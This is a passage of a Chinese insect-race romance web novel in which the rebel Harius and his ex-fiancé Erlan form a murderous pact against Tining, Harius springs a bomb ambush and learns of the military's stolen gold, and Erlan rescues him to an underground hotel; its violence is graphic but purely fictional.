厄兰敏锐察觉这群首领的数量好像比昨天多了些,虽然看不清面容,但从他们佩戴的面具样式,大致也能分辨出身份。 “霍恩格,我不是让你看好那群雄虫吗?” 其中一名身材健硕的雌虫冷声质问,他戴着一副纯白面具,没有任何装饰,语气也如同面具般冰冷机械。 霍恩格懒洋洋地把腿架在茶几上:“嘿,我这不正看着呢吗?时间难熬,还不许我听点八卦解闷?” 另一个首领饶有兴致地问道:“什么八卦?” 厄兰立刻认出了这个声音是维瑟尔。 霍恩格直接笑嘻嘻指向厄兰,毫不犹豫地把他卖了:“他说对哈琉斯旧情难忘,这算不算八卦?” 这句话一出,整个大厅骤然安静下来,所有叛军首领都齐刷刷转头看向沙发上的雄虫,面具后的目光或探究或锋利,仿佛要把他洞穿。 厄兰丝毫不慌,反而勾起一抹温柔的笑意,他从沙发上起身,顺手在果盘里挑了个最红润的苹果,迈步走向其中一名身形颀长的雌虫,通过 对方面具外面银色的短发认出了哈琉斯的身份,深情款款:“霍恩格说的没错,其实这么多年我一直忘不了你… 把苹果塞到对方手中,这里没有宝石钻戒,只能先凑合了, “你渴不渴?吃个苹果吧。” 这名戴着银色面具的雌虫明显僵住了,手足无措看向同伴,就在厄兰隐隐感到了几分不对劲时,楼梯上方忽然传来一声轻蔑的嗤笑,声音无比熟悉: “厄兰冕下,您可真是够情真意切的。” ……. 厄兰缓缓转头,恰好看见哈琉斯站在二楼居高临下望着他们,对方穿着一件白色衬衣,下摆扎进了军裤,什么面具都没戴,唇边笑意危险,脸色黑如锅底。 197、我们是未婚夫 好消息,厄兰一点都不尴尬。 坏消息,现在所有虫都知道他是个虚情假意的骗子了。 哈琉斯直接把厄兰薅进了二楼房间,然后“砰”一声摔上房门,再把这只雄虫留在底下胡说八道,他怕自己真的会忍不住一枪崩了对方。 “冕下,您应该知道我早就想杀了你吧?” 哈琉斯冰冷阴鸷的声音在耳畔低低响起,连吐息都带着寒意,他那双常年握枪的手此刻正掐在厄兰脆弱的咽喉处,只要稍一用力就能掐断对方的脖子。 他现在很暴怒,非常暴怒,却说不清是为了什么。 到底是因为面前这只雄虫的惺惺作态,还是因为对方肆无忌惮一次又一次踩过他的底线? 哈琉斯从叛离南部的那一刻就发誓要让那些虫付出千百倍的代价,厄兰不在他的报复计划内,却也脱离不了干系,对方现在应该老老实实夹着尾巴做虫才对,为什么要一次又一次不知死活的惹怒他?哈琉斯觉得自己真该杀了厄兰。 留着这么一只打又不能打、骂又不能骂,只会 天到晚惹麻烦的雄虫有什么用?! 他一只手掐住厄兰的脖颈,另外一只手用力扣紧对方的后脑,语气平静得近乎病态,暗沉的眼眸却开始逐渐蔓延某种猩红的情绪,看起来像一头狠戾的野兽 “厄兰维多,你就不能学学楼下的那些可怜虫吗?乖乖蹲在角落里,给食物就吃,给水就喝,绝不做那些惹怒我的蠢事!” “这对你来说很难吗?嗯?” 厄兰心想这当然很难,他和楼下的那群可怜虫可不一样,他的身份更尊贵,地位更高,自然不会和他们一样蹲在墙角接受施舍,等待命运的审判。 心里这么想,自然而然也就说了出来。 “听起来确实有些难。” 厄兰死到临头居然还笑的出来,他恍若没察觉到脖颈上的威胁,忽然一个用力把哈琉斯拽进了怀中,对方的身躯并不柔软,抱着他就像抱住了一把寒光闪闪的利刃,就连身上的军服也带着冷硬的棱角。 啧,真像一只刺猬。 厄兰一边这么想,一边偏头在对方耳畔低声缱绻问道:“哈琉斯,你真的想杀我吗?” 哈琉斯没料到对方的动作,瞳孔骤然收缩一瞬,他条件反射想推开厄兰,但没想到雄虫的精神力却在这个时候丝丝缕缕缠绕了上来,像是一张无形的网,将他们两个牢牢束缚其中。 哈琉斯呼吸一滞,脸色难看,他眼底翻涌的猩红险些凝成实质,几乎是从齿缝里硬生生挤出了两个字: “松开!” 他差点忘了,面前这只看似养尊处优的雄虫不仅在他身上留下了精神烙印,更拥有着SSS级的恐怖精神力——这意味着厄兰不仅能操控他的感官情绪,甚至能直接禁锢他的行动。真该死! 厄兰非但没有松开,反而收紧了手臂,他修长的指尖似有似无拂过哈琉斯后颈的虫纹,那大概是所有雌虫的敏感地带,低笑一声,藏着几分不易察觉的恶劣:“如果我说不呢?” 哈琉斯浑身一颤,额角隐隐暴起青筋,他从未被任何雄虫这样触触碰过,更别提被对方的精神力如此肆无忌惮地侵入,理智告诉他应该立刻拧断厄兰的脖子,可身体却像是被某种无形的力量压制,连指尖都动弹不了。“你找死——!” 哈琉斯嗓音沙哑,眼底的杀意和某种暗沉的情绪交织在一起,看起来危机四伏。 “亲爱的,别这么看着我。” 厄兰唇角微扬,总是可以轻而易举吐出各种缠绵的情话,他浅紫色的眼眸满含情意注视着哈琉斯,指尖轻轻拂过对方脸侧结痂的伤口: “虽然我不知道当年发生了什么,帝国为什么要冤枉你违反了军纪,但只要你愿意,我们可以一起回南部。” 厄兰总是很知情识趣,从“冤枉”两个字就能看出来,声音温柔得近乎蛊惑:“我可以帮你洗清冤屈,可以帮你恢复军职,还可以请求雌父和雄父重新给我们订下婚约,这样不好吗?” “但如果你不在乎这些,一定要让我死……. “我的命就在这里,你随时可以拿走。” 哈琉斯忽然冷静了下来,他一动不动盯着厄兰,幽幽发问:“真的吗?” 厄兰愈发深情款款:“当然是真……. 他的声音戛然而止,因为一支冰冷的枪管悄然抵在了他的腰侧,直到这个时候厄兰才发现哈琉斯不知何时挣脱了他的精神力束缚,正用一种讥讽的神情盯着自己:“亲爱的冕下,再重复一遍你刚才的答案,我好像没听清楚?” 枪这种玩意儿,被抵着抵着也就习惯了。 厄兰微不可察一顿,随即就恢复了正常,他长睫轻垂,烟紫色的眼眸笑意不减,落在哈琉斯腰间的手悄无声息收紧,直到他们的身躯贴得密不可分,这才无声吐出三个字: “杀了我。” 厄兰偏头靠近哈琉斯的耳畔,殷红的唇瓣似有似无触碰着雌虫白皙的耳垂,余息灼热,就像世间最亲密的情侣:“如果你愿意,现在就杀了我。” 哈琉斯声音阴鸷:“你以为我不敢?” 厄兰浅浅勾唇:“你当然敢,所以我不是已经把命交到你手里了吗?” 但直觉告诉他哈琉斯不会开枪。 对方如果想杀他,有千百次的机会,刚才在楼下都可以动手了,何必带到房间里来。 哈琉斯闻言食指轻动,然后缓缓扣上扳机,他眼眸微眯,死死盯着厄兰的表情变化,最后忽然一笑,玩味问道: “你确定对我旧情难忘?” 厄兰笑意不减,风流尽显,他抬手勾起哈琉斯耳畔一缕银发,指腹轻轻摩挲着发丝,仿佛在欣赏什么珍宝,甚至带着点遗憾地想着对方若留长发该是何等惊艳:“当然,缇宁在我心里连你的一根头发丝都比不上。” 哈琉斯骤然倾身,温热的呼吸喷洒在厄兰耳廓,语气堪称温柔,可眼底翻涌的杀气却冰冷刺骨:“证明给我看。” 厄兰饶有兴致迎上他的目光:“怎么证明?” “杀了他——“ 哈琉斯唇边虚假的笑意彻底消失,一字一句吐出了这句话,室内温度也跟着骤然降至冰点,他语罢仿佛是怕厄兰没听清,又重复了一遍: “等我把缇宁那个杂种捆过来,我要你当着我的面,亲手杀了他。” 哈琉斯说这句话时神情是病态且愉悦的,他喜欢破坏,喜欢血腥,喜欢阴暗,喜欢看美好的东西变得满目疮痍,更喜欢看谎言被戳破后的慌乱紧张。 哈琉斯紧盯着雄虫,等着在对方脸上看见迟疑和僵硬这种情绪,那样他或许就有一个合适的理由崩碎对方的脑袋。 可预想中的情况并没有出现。 一阵冗长的静默过后,厄兰出乎意料吐出了一个字: “好。” 他亲昵抵着哈琉斯的额头,双手捧住雌虫的脸,唇角弧度渐深,看起来愉悦居然更甚对方,声音像甜腻的蜜糖:“亲爱的,只要能让你高兴,我做什么都可以。” 世界上居然还有这么好的事吗?厄兰心想。 哈琉斯不仅能帮忙把死敌捆到他的面前,还能让他亲手杀了缇宁那个狗杂种,对方该不会是什么救苦救难的虫神转世吧? 小黑蛇隐在暗处,见状眼前一黑差点昏过去:坏了,居然让这俩货结成联盟了,缇宁还能活吗?!. … 哈琉斯迎着厄兰漂亮的紫色眼眸,唇边弧度微不可察一僵,毕竟这和他想象中的情况一点儿也不一样,谁会因为前任未婚夫一句轻飘飘的话就打死坝任未婚夫? —— 厄兰真的会。 并且他身体力行地做到了,只是当时失策忘记打脑袋,所以让缇宁侥幸留下了一条小命。 “您可真是情深义重,”哈琉斯凉凉开口,嗓音低沉讥诮,“我都开始担心哪天会不会像缇宁一样,被您毫不留情舍弃,然后一枪崩碎脑袋。” 只要厄兰愿意,他可以凭借那张脸蛋和那张嘴把所有虫都迷得晕头转向。 “怎么会呢,你可是我的未婚夫。” “缇宁难道不是吗?” “我只承认你。” “只承认我?” 哈琉斯蓦地笑出了声,他唇边弧度恶劣,冰凉的枪口缓慢划过厄兰的喉结,压低声音一字一句道,“当年在军事法庭上,在审讯室里,在流放的途中——我可从来没看见过您高贵的身影啊,我‘唯一 的未婚夫冕下…他最后一句话的尾音轻飘飘消散在空气中,不知藏着怎样的情绪,但最终都归于平静。 夜幕降临,所有雄虫都被重新关进了地下储藏室,如果他们此刻身在一楼,就会发现客厅聚集了数不清的叛军。 那些叛军黑压压的身影看起来凌厉而又肃杀,金属面具扣在脸上看不清面容,唯一能窥见的就是黑色洞口后方那一双双野心勃勃的眼睛,还有闪烁着冷光的枪管。 外面下起了雨,淅淅沥沥的雨丝从屋檐垂落,把庭院里的土壤浸湿,形成一个又一个的小水洼,各种蛇虫鼠蚁都爬了出来,在灌木丛里发出具有节奏性的鸣响,空气闷热潮湿。 哈琉斯站在窗前,黑色的军靴来回踱步。他手中擦拭着一把金属配枪,时不时抬头看向窗外,仿佛在等待什么,白色衬衫的袖口随意挽至肘部,露出线条分明的小臂,气息慵懒危险,就像一头蓄势待发的豹子。 窗外雨声渐密,一阵急促的脚步声忽然打破了寂静,只见一名棕发绿眸的雄虫大步踏入客厅,他身上黑色的作战服已经被雨水浸透,紧紧贴在皮肤上,军靴上未干的泥泞提示着他刚从外面归来不久。 维瑟尔抬手抹去脸上的雨水,环视四周一圈看向哈琉斯所在的方位,绿色的眼眸在昏暗光线中格外锐利,因为回来太急显得有些气喘, “船已经准备好了,大首领会在北部港口接应,但我们目标太大,必须分批撤离,那群南部佬已经快搜过来了!” 哈琉斯看起来丝毫不意外,淡淡下达命令:“你和霍恩格带着队伍先撤,我带一个小队留下来断后!” 维瑟尔闻言一惊,望着他似乎想说些什么,可话到嘴边又硬生生咽了回去,皱眉道:“你真的不打算和我们一起走?” 哈琉斯眉梢轻挑:“我想走早就走了,用不着等到今天。” 他还有一笔旧账没有了结,如果不算清楚,他这辈子都回不了南部,也回不了北部,就算死了也是破碎的亡魂,一生无法扎根。 维瑟尔沉默了一瞬:“大首领说过,让我们全都活着回去,你有自己的事要办,我不拦你,但你别硬拼,等我把队伍带回去,我就立刻赶过来帮你。” 哈琉斯垂眸把玩着手中的配枪,听不出情绪的“嗯”了一声,也不知是答应还是没答应:“带着他们走吧,别耽误时间。” 维瑟尔最后深深看了哈琉斯一眼,然后决然转身离开,那些训练有素的叛军潮水般悄然退离客厅,头也不回地步入黑夜,刹那间走了五分之四的虫,只留下一个小队的数量。 霍恩格一直站在原地没动,他望着哈琉斯的背影上前一步,正准备开口说些什么,对方却头也不回的道:“你也一起撤。” 哈琉斯抬手举枪瞄准窗外,随手扣动了一下扳机,没有装单匣的配枪在黑夜中发出一声轻响,仿佛要穿透茫茫黑夜和雨水击毙谁的灵魂,眼眸锐利眯起 “你的仇已经报了,去北部好好扎根,等我把这里的事情了结,我会去找你们的。” 霍恩格不肯,多年的战友情意让他无法丢下哈琉斯,垂在身侧的手死死攥紧成拳:“我留下来帮你。” 哈琉斯举枪的手一动不动,淡淡开口:“别让我重复第二遍。” 这次袭击行动的最终目的并不是为了掳掠他脚底下关着的那群雄虫,而是为了营救被关在南部监狱里的所有叛军,但除此之外,还有一件更重要的事——杀了缇宁。 这并不是北部大首领下达的命令,是只属于哈琉斯自己的仇恨,也应当由他来亲手了结。 安插在南部的探子三天前就传回了消息,说缇宁受伤落海,阴差阳错被当地驻军救下,现在正带着队伍一路追踪他们的痕迹,已经快到雾牙港附近了。 这三天哈琉斯并没有刻意掩藏踪迹,对方应该很快就会搜索到这栋民居,刚好还能给维瑟尔他们撤离争取时间。 哈 斯终于停止了在窗前踱步地动作,整只虫深陷进客厅的真皮沙发里,他眼见霍恩格离去的背影逐渐被雨幕吞噬,忽然想起这个战友曾经问过的一个问题 “哈琉斯,你和那只叫厄兰的雄虫……曾经发生过什么吗?” 雨滴在玻璃窗上蜿蜒而下,像某种无言的嘲讽。 霍恩格曾是第三军的精英,为了给兄长米亚报仇刺杀雄虫未遂,在军事监狱里度过了七年暗无天日的岁月,他自然也就不知道,当年哈琉斯和厄兰之间那段所谓的“婚约”。 更不会知道,这两只虫之间其实什么都没有发生过。 不算正面,不算负面。 没有刻骨铭心的爱恋,也没有不共戴天的仇恨。 有的只是一条冷冰冰的数据库记录,一段连面容都模糊的记忆,就像当年那封烫金的退婚函,在军部高层轻描淡写的签字盖章后,便彻底作废了。 前途无量的年轻少将变成了声名狼藉的叛国者。 高贵无匹的冕下依旧过着他锦衣玉食的生活,换了另一个同样前途无量的未婚夫。 雨势愈发汹涌,密集的雨点砸在玻璃上,将整个世界都扭曲成模糊的水幕,一只蚂蚁被雨水冲刷得东倒西歪,徒劳地抓挠着光滑的表面,仿佛在深海中挣扎的溺毙者,窒息而又绝望。 哈琉斯定定望着那只濒死的蚂蚁,恍惚间看见了四年前的自己。 他鬼使神差伸出手,修长的手指在冰冷的空气中虚握,试图抓住什么。 是救命稻草吗? 不,是一片虚无…… 指尖触碰到的,只有潮湿的空气,就像当年那封退婚函上冰冷的公章,就像军事法庭上那些漠然的眼神,就像四年来每个辗转难眠的夜晚—— 从来就没有什么救赎,只有无边无际的黑暗。 雨水仍在肆虐,那只蚂蚁终于停止了挣扎,被湍急的水流裹挟着,消失在了窗框边缘,彻底跌入黑暗。 198、一起死吧 雾牙港靠近“缄默之海”,是一个极其特殊的存在,这座偏僻的三不管港口充斥着各种肮脏的地下交易,无数流亡者和雇佣兵都将这里当做罪恶的乐园,连驻军都不敢擅自插手。 据传在远古时期,南部与北部曾经共为一体,后来北部叛逃,他们的末代君王便将王冠掷入深海,将地域一分为二,立誓此生永不相融。 在腥咸的海浪声中,依稀还能看见一块篆刻着誓言的腐朽残碑立在岸边: 【你我曾经共为一体, 但今后血液便如此海永不相融。 你的手足将成为我剑锋下的亡魂 你的死敌将在我的王座前受封。】 传说这片海域的风浪会吞噬所有声音,倘若有船只擅驶闯入,船员最终都会因为失声而被暗流撕碎,因此得名“缄默之海”。 但现在缄默之海成了南北双方心照不宣的政治雷区,这片法律上的共有海域实际上谁都不敢轻易踏足,任何越界行为都会成为对方外交谈判中最有力的筹码,在两国议会上被反复翻炒,成为政客们互相攻讦的利器。 而雾牙港,就这样在两大势力的夹缝中,畸形地繁荣着。 大雨滂沱,缇宁带着一队精锐驻军在黑夜中飞快朝着目标逼近,雨水浸透了他身上的军服,腹部尚未痊愈的枪伤传出阵阵糜烂的疼痛。 当那栋民居的轮廓逐渐出现在眼前时,缇宁立刻抬手示意队伍停下,他压低身形紧贴着潮湿斑驳的砖墙,握枪的指节因为过度用力而隐隐泛白,心脏剧烈跳动,无声咬紧牙关— 早在四天前他就该完成营救行动,可他现在不仅没能救出那些被劫掠的雄虫,还放跑了所有叛军,消息传回帝国立刻引起了高层的震怒。 缇宁在得知哈琉斯和那群被劫掠的雄虫藏身在这里的时候,枪伤还没痊愈就立刻联系了当地驻军准备展开营救。 这是他唯一可以将功赎罪的机会。 缇宁很清楚,这次行动如果失败,等待他的结局恐怕会比那些北部叛徒更加凄惨,军部的审讯室、高层的怒火,还有那些痛失爱子的贵族们的报复,光是想想就让他腹部的伤口又开始隐隐作痛。 “三队绕后包抄,四队封锁所有出口,一队二队和我从正面突入。” 缇宁压低声音下令,几乎被暴雨吞噬,却带着不容置疑的狠厉,他看向驻军长官,从牙缝里硬生生挤出一句话: “记住,一定要把所有雄虫都毫发无损地带出来!” 那群被挟持的雄虫背后要么是军方高层,要么是名流政要,无论哪个出了差错他都会被问责,现在只能祈求虫神保佑,那群丧心病狂的绑匪并没有拿雄虫开刀。 躲在地下室里的雄虫并不知道发生了什么,他们只是隐隐听见外面传来一阵激烈的枪响,吓得纷纷从地上爬了起来,就像 群受惊的鹌鹑。 “发生什么了,外面是不是有枪击?!” “难道是帝国来救我们了?” “万一是那群叛军内讧了呢,别出去,万一被发现了怎么办!” 这群雄虫已经被吓破了胆,连爬到木板盖上去看一看情况都不敢,他们既担心是叛军耍弄他们的把戏,也担心自己成为流弹的牺牲品,所以全都瑟缩在角落不肯挪动一步。 厄兰一言不发,若有所思地抬头看向上方,他莫名想起哈琉斯曾经说过的话,等把缇宁捆过来,要让自己当着他的面亲手杀了对方。 —难道对方和缇宁的队伍开战了? 厄兰思及此处,直接顺着地下室唯一的那把梯子爬了上去,其余雄虫见状难掩吃惊,却没有任何一只虫开口阻拦,毕竟在他们眼里厄兰和那群叛军的关系不清不楚,和他们早就不是一类虫了。厄兰爬到顶,小心翼翼把木板盖掀开了一条缝隙,视线所及之内没有看见任何巡逻的军靴,反而到处都是玻璃碎屑,他见状胆子大了几分,直接将木板推开,然后一个利落的翻身跃上地面。扑面而来的是一股混杂着硝烟与血腥味的气息,整个客厅宛如飓风过境,碎裂的窗框在风中摇晃,雨水裹挟着玻璃渣在地板上蜿蜒成河,那张黑色的真皮沙发如今布满弹孔,内部的羽毛填充物满天乱飞。—而枪声的来源就是外间的庭院,只是混着密匝匝的暴雨声有些听不真切。 早在一个小时前,缇宁就带队悄悄潜入了这栋民居,但没想到他的部下里面居然有北部探子反水,导致行动彻底暴露,迫不得已与叛军展开了枪击。 那群叛军明显早有防备,潜伏在黑暗中占据了所有制高点,将他们打得全无还手之力。 “拖住他们!掩护我进去!”缇宁厉声喝道。 借着火力掩护的间隙,他直接冲进了民居内部,子弹擦着耳际呼啸而过。缇宁很清楚,这群叛军的主力早已乘船前往霍斯堡,留下来的不过是断后的小股部队,但现在他急于确定那些雄虫的安危,根本无心在外面缠斗。然而就在他即将冲入门廊的刹那,军靴突然踩中了什么异物—— 这声细微的响动在枪火声中几不可闻,却让缇宁浑身的血液瞬间凝固,多年战场养成的本能让他毫不犹豫地纵身扑向侧面,几乎在同一瞬间,炽烈的火光从地面炸开,掀起数丈高的土块。“砰——!!” 爆炸的冲击力将缇宁狠狠掀翻在雨地里,无数碎石与弹片擦着脸颊飞过,右腿传来撕裂般的剧痛——虽然避开了致命伤,但飞溅的金属碎片还是深深扎进了小腿,鲜血立刻浸透了军裤,在雨水中晕开刺目的红。缇宁痛苦闷哼一声,脸色苍白如纸,就在这时,他的头顶忽然响起了一道低沉散漫的笑声: “啊哈~,老朋友,好久不见,还喜欢我送你的见面礼吗?” 暴雨如注,墨色翻涌。 只见屋顶上不知何时出现了一抹颀长的身影,雨水顺着对方的周身倾泻而下,把黑金色的军装浸得更加暗沉,俊美的脸部轮廓几乎被阴影吞噬。他居高临下睨着缇宁,右手把玩着一个红色的操控器,唇边露出一抹恶劣的笑意,很明显就是刚才那场“爆炸”的始作俑者。“哈琉斯,” 缇宁怒吼出声,几乎把牙根咬碎, “你这个第三军的叛徒!不知悔改也就算了,居然还敢劫掠雄虫,帝国当初就应该直接把你绞杀!” 四周此起彼伏的火光照亮了哈琉斯微微偏头的动作,他漫不经心按了按手中那个红色操控器,远处又是一阵爆炸声响起,将那些驻军队伍炸得四分五裂,虽然什么都没说,但此举落在缇宁眼中无异于最恶毒的挑 衅。 “我杀了你——!” 缇宁怒吼着翻身而起,拔出了腰间的备用配枪,然而就在他抬腕瞄准的刹那,哈琉斯已从屋顶纵身跃下,那抹黑色的身影划破雨幕,宛如一柄出鞘的寒芒利剑,裹挟着杀气直扑而来,周身爆发出的强大精神力直接震飞了枪支。一旦失去武器,虫族的打斗就会变得血腥而又原始,就像两头争夺地盘决斗的野兽,至死方休。他们翅翼上的骨刺狠狠刺进对方的肩胛骨,虫化时的利爪每次划破皮肤时都能剐下大片血肉,拳头的每一次重击都能引发胸腔骨骼碎裂的声音。缇宁在生死关头爆发出了惊人的力气,他拼着被哈琉斯掐碎咽喉的风险,右手成爪狠狠刺进了对方的心脏,利爪穿透肋骨缝隙在里面搅动血肉,艰难寻找着心脏的存在,滚烫冒着热气的鲜血喷溅而出,混合着冰冷的雨水浇在脸上,视线内一片猩 红。哈琉斯不仅不生气,反而胸膛震动,发出一阵病态的低笑,猩红的血液喷溅在他那张阴鸷冰冷的脸上,看起来就像地狱里爬出的恶鬼。他虫化后锋利闪着寒芒的利爪狠狠刺进缇宁的咽喉,却偏偏不取对方的性命,而是恶意搅弄着里面的血肉: “最后给你一次活命的机会。” 哈琉斯的嗓音嘶哑可怖,却偏偏带着笑意,他倾身靠近缇宁耳畔,听不出情绪的问道, “当年第三军押送的那批秘金……到底在哪儿?” 缇宁的咽喉因为呛血发出咕噜咕噜的声音,视线因为疼痛而开始涣散,他仰头看向茫茫雨幕,脑海中只有一个念头 从帝都赶来的援军应该快抵达了吧? 如果不是担心这群叛军今夜就带着被劫掠的雄虫潜逃至霍斯堡,他也不会贸贸然出击。 缇宁的喉管被血沫堵住,声音支离破碎,每吐出一个字都疼得快要断气,他的视线猩红一片,耳畔去隐约听见飞行器引掌的轰鸣声—到底是援军,还是自己濒死的幻觉? …不知道……你在说什么…… 哈琉斯唇边弧度渐深,丝毫不意外对方的回答,鲜血顺着他苍白的下颌滴落,在雨水中晕开浅色的痕迹,语调温柔得令虫毛骨悚然: “真可惜啊。” 哈琉斯慢条斯理扯开自己染血的军装前襟,露出内衬里那枚紧贴心脏的微型炸弹操控器,倒计时只剩三分钟,红光疯狂闪烁,他倾身靠近缇宁,一字一句都带着玩味,像恶魔低语: “前途无量的缇宁少将,要和我这个叛徒一起……粉身碎骨了~” 缇宁的瞳孔骤然紧缩,哈琉斯这个疯子,居然想和这里的所有虫一起同归于尽?!恐惧如毒蛇般缠上他的心脏,缇宁拼命挣扎,虫化的利爪在哈琉斯胸膛里狠狠搅动,试图逼他松手,可哈琉斯只是笑,仿佛感受不到丝毫疼痛,居高临下欣赏着他濒临崩溃的表情。缇宁终于痛苦松口:“我……我说…… 他和哈琉斯这个一无所有的罪徒不一样,他有显赫的家族,完美的履历,绝不能死,起码不能死在这里。他嘶哑的声音支离破碎,血沫从嘴角溢出,吐出一个几不可闻的地名。 哈琉斯闻言唇边的笑容却骤然凝固,像是听见了世间最不可饶恕的答案,他微微偏头,神情阴鸷可怕,声音却依旧轻柔:“你说什么?” 缇宁痛苦仰头:“那批秘金……早就被一些军部高层瓜分了………你们当年押送的那箱……装的是废铁……. “砰——!” 下一秒,缇宁被恶狠狠甩开,身躯重重砸在泥泞的地面上方。 当对方尖利的钢爪从胸膛内骤然抽离时,哈琉斯也吐出了一大口鲜血,身形踉跄后退,他万万没想到当年害得整个第三军支离破碎,缠绕了自己整整四年的梦魇,答案居然会是这个?!!四年! 他为了追查那批秘金的下落,在审讯室里受尽折磨,甚至不惜投靠北部沦为叛徒,结果这一切竟然只是一场精心设计的骗局?!当年那批价值上亿的秘金,此刻正放在那些政客要员的金库里,成为他们庞大财富的一部分。议会的老狐狸们早就瓜分了秘金,却让第三军背锅,他们炸毁运输舰,处决知情者,把活下来的战士扣上罪名流放至死……而海庇,那个像父亲一样教导他的长官,那个替帝国征战无数的老将,一生都在维护军部的荣耀,死后却被泼上了最污浊的脏水! 哈琉斯低笑出声:“原来如此。” 他慢慢抬头,看向从地上挣扎着爬起的缇宁,唇边勾起一抹令虫毛骨悚然的弧度,然后慢条斯理伸进自己血肉模糊的胸膛,找到那枚黑色的炸弹操控器, “阁下,我忽然改变主意了。” 贪婪虚伪的北部叛军可从来不讲信用,他们以谎言为食,以背叛为乐,就像缄默之海永远翻涌的黑潮,一半是幽暗的深渊,一半是锋利的礁石。 这片海域从未与南部相融,正如他们骨血里流淌的仇恨,至死方休。 “你们还是全都死在这里吧——” 帝国的援军已经抵达,黑压压的飞行器就像一头钢铁巨兽般掠过夜空,所过之处连雨水都开始消失。 哈琉斯赖懒仰头看向上空,心想这群精锐军的数量抵得过当初第三军牺牲的战士数量吗? 算了,数不清。 他的一生也就这样了。 活着也行,死了更好。 他冰冷的指尖正准备按下爆炸按钮,一声突兀的枪响却陡然划破夜空,迅疾的子弹划破空气,不偏不倚正中缇宁后背,爆出一大蓬血雾。 “砰——!” 缇宁身形踉跄着跪倒在地,不可思议缓缓转头看向后方,却见磅礴的雨夜中赫然站着一抹熟悉的身影,对方那张惊艳的面容在雨水冲刷下更显夺目,唇边笑意无辜又恶劣。 “抱歉,打歪了。” 厄兰语气惋惜,不是很满意自己的准头,明明是瞄准后脑去的,怎么就打到了胸膛呢,不过他现在没时间和对方算账了。 他仰头望向天际,帝国的飞行器群已如黑云压境,引擎的轰鸣震得整片天空都在颤抖。 视线下移,隔着朦胧的雨幕,他和浑身是血的哈琉斯四目相对——那个疯子即使到了这种地步,嘴角仍挂着支离破碎的讥笑。 说实话,厄兰虽然对四年前发生的事情漠不关心,但或多或少也听说过当年的秘金失踪事件,据说当时负责押送的第三军队伍试图私吞,故意伪造了爆炸事件,剩下的军雌带秘金逃亡,至今没有寻觅到下落。没想到居然落在了那群脑满肠肥的高层手里,倒是很符合那些家伙的作风。 “嗖——!” 一阵耀眼的金光骤然划破黑夜,厄兰背后忽然展开了一双金色翅翼,然后猛地飞向夜空,却在即将离开这栋民居的时候又一个急转俯冲,将哈琉斯带离了这里。 那枚没来得及按下的炸弹操控器也随着他们的离去失重掉落,像断了线的风筝,悄无声息陷入水洼。 “咔哒”。“我……. 整整四年!!原来如此…… 199、一起睡吧 茫茫黑夜吞没了他们的背影。 厄兰没有深思自己为什么要救哈琉斯。 心里那么想,自然也就那么做了。 不过好在他办事从来都不需要理由,就像他小时候看一只气焰嚣张的雄虫不顺眼,直接抬脚把对方踹河里一样。 踹下去了,心里也就舒服了。 啧,天生的恶种。 雨水铺天盖地袭来,却因为对方强劲翅翼煽动所掀起的气流而隔开了一片真空区域,哈琉斯艰难睁开双眼,银色的睫毛沾满了暗沉的血迹,入目就是雄虫的胸膛和咽喉,仿佛只要稍一用力,他虫化后的利爪就可以轻易贯穿对方的心脏,然后捏个粉碎。 ……才怪。为什么?为什么? ——这只雄虫应该不会像他那么好运,心脏天生长在另外一边? 就像厄兰做事不需要理由,哈琉斯下杀手也从来不需要理由,他可以上一秒还在和你笑吟吟地说话,然后下一秒那双骨节分明的手就利落扭断你的脖子。 苍白且伤痕遍布的指尖一点一点用力攥住雄虫的衣领,力道大得手背都泛起了青筋,皮肉外翻的伤口交错纵横连在一起,就像他们命运错乱的一生。 “西南方向…… 哈琉斯到底没有下手,他偏头靠近厄兰耳畔,呼吸裹挟着冰冷的铁锈腥味,声音嘶哑地吐出了一个地名: “铺满黑色石头的巷子……左拐第三间……进去之后有一家地下旅馆……. 这段话耗费了他仅剩的力气,他最后深深看了厄兰一眼冰冷的利爪尖端因为太过锋利,刺破衣服布料抵住了胸膛血肉,像是某种意味深长的警告, “藏好你的脸。” 雾牙港是一座可以容纳无数罪恶的城市,那条铺满黑石的巷子里就藏着一间鱼龙混杂的旅馆,进门后正大堂是一张偌大的赌桌,四周围满了穷凶极恶的赌徒,乍看都是通缉令上的熟脸,上面堆满了金灿山的星币,骰子声碰撞不休,声嘶力竭的怒吼几乎掀翻屋顶: “大!大!大!!!” 所有虫的注意力都在赌桌上,以至于没有谁发现门口悄然出现了一抹黑色的身影,对方脸上扣着一枚银色面具,怀里还抱着一只浑身是血陷入昏迷的银发雌虫,只是因为姿势原因有些看不清面容。 这副形象如果出现在繁华的帝都,分分钟就会被巡逻队给抓起来,但出现在这样一座罪恶的城市,又显得极为稀松平常,毕竟这里每天来来往往的不是星际罪犯就是雇佣兵,全都是一群刀尖上舔血的家伙。 “先生,请问有什么需要吗?” 好在一名穿着黑白礼服的侍者注意到了这位奇怪的来客,主动走上前询问。 那名蒙住面容的来客什么都没说,指尖轻弹,一枚上好的宝石戒指就“当啷”落在了侍者怀里,这是从拍卖行里高价拍到的,流光溢彩,一看就不是凡品。 他声音低沉:“拿去典当,我要你们这里最好的房间。” 能在这种地方工作,鉴别宝石是最基本的能力,侍者认真检查了一下那枚戒指,最后确定是个大顾客,微笑着在前方领路: “请跟我来。” 这间旅馆环境破败,里面却内有乾坤,装修得丝毫不逊色于宫殿,厄兰跟着对方穿过曲曲折折的走廊,又乘坐电梯下了好几层,这才来到一间大约有百平米的豪华套房里。 “这是您的入住卡,请务必保管好,明天中午之前我们会将您的戒指拿去典当估价,应该够您住很久了。” “不用,我只住一个月。” 服务员微微一笑,居然很有职业道德:“那么明天我将多余的星币折算成卡送到您的房间来,祝您有一个愉快的夜晚。” 语罢后退几步离去,轻轻带上了门。 这里的房价昂贵是有原因的,据说无论你犯下多么大的罪行,只要逃到这里付出相应的房资,在旅馆的地盘上就没有任何军队能够搜到你 鬼知道幕后老板是不是和驻军有什么交易。 厄兰一边这么想着,一边俯身把怀里的雌虫安置在床上,然后轻啧了一声。 ——他的前任未婚夫和前前任未婚夫看起来好像都不是什么省油的灯呢,打架专门往死穴下手,掏心插喉一个不落,自己要是再晚点,哈琉斯说不定真的就要去见虫神了。借着头顶昏黄的灯光,哈琉斯胸膛处的伤口狰狞可怖,凝固的血痂下方依稀还能看见里面森白的肋骨,尽管雌虫强悍的自愈能力已经止住了出血,但依旧满目疮痍。厄兰的动作极为谨慎,他先是反锁房门,又仔细合上每一扇窗户,确认密闭后,一层透明的精神力屏障自他周身展开,将整个房间包裹得密不透风,信息素的味道被彻底封锁在这屋内,连一丝都泄不出去。哈琉斯的伤势相当糟糕。 